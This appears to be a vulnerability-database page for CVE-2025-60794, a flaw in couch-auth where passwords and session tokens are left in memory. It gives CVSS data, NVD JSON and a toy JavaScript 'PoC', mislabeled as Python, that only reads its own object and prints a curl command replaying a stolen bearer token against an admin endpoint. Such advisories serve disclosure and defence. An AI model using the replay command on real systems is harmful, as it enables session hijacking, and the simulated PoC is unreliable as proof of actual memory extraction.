Security Vulnerability Report
中文
CVE-2025-60794 CVSS 6.5 MEDIUM

CVE-2025-60794

Published: 2025-11-20 15:17:38
Last Modified: 2025-12-12 15:34:10

Description

Session tokens and passwords in couch-auth 0.21.2 are stored in JavaScript objects and remain in memory without explicit clearing in src/user.ts lines 700-707. This creates a window of opportunity for sensitive data extraction through memory dumps, debugging tools, or other memory access techniques, potentially leading to session hijacking.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:perfood:couchauth:*:*:*:*:*:node.js:*:* - VULNERABLE
@perfood/couch-auth < 0.21.2 (可能所有版本都受影响)
couch-auth 0.21.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-60794 PoC - Memory Dump Attack Simulation // This PoC demonstrates the concept of extracting sensitive data from memory const fs = require('fs'); // Simulate vulnerable code behavior in src/user.ts (lines 700-707) class VulnerableAuth { constructor() { this.userSession = {}; } login(username, password) { // Vulnerable: Sensitive data stored without explicit clearing this.userSession = { username: username, password: password, // Stored in memory token: this.generateToken(), timestamp: Date.now() }; return { success: true, token: this.userSession.token }; } generateToken() { return 'session_' + Math.random().toString(36).substring(2); } // Vulnerable: No explicit logout/clear method } // Simulate memory dump attack function simulateMemoryDump() { const auth = new VulnerableAuth(); auth.login('admin', 'SuperSecretPassword123'); console.log('[+] User authenticated, session data in memory'); console.log('[+] Session object:', JSON.stringify(auth.userSession)); // Simulate attacker reading process memory console.log('[!] Attacker can extract:'); console.log(' - Username:', auth.userSession.username); console.log(' - Password:', auth.userSession.password); console.log(' - Session Token:', auth.userSession.token); // Generate session hijacking attack const hijackToken = auth.userSession.token; console.log('[!] Session Hijacking PoC:'); console.log(` curl -H "Authorization: Bearer ${hijackToken}" https://target-api/admin`); } simulateMemoryDump();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60794", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:37.937", "lastModified": "2025-12-12T15:34:10.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Session tokens and passwords in couch-auth 0.21.2 are stored in JavaScript objects and remain in memory without explicit clearing in src/user.ts lines 700-707. This creates a window of opportunity for sensitive data extraction through memory dumps, debugging tools, or other memory access techniques, potentially leading to session hijacking."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-316"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfood:couchauth:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.21.2", "matchCriteriaId": "E6A70E73-23FC-41B4-A63D-908DDBCAB96D"}]}]}], "references": [{"url": "https://github.com/perfood/couch-auth", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pr0wl1ng/security-advisories/blob/main/CVE-2025-60794.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/@perfood/couch-auth", "source": "[email protected]", "tags": ["Product"]}]}}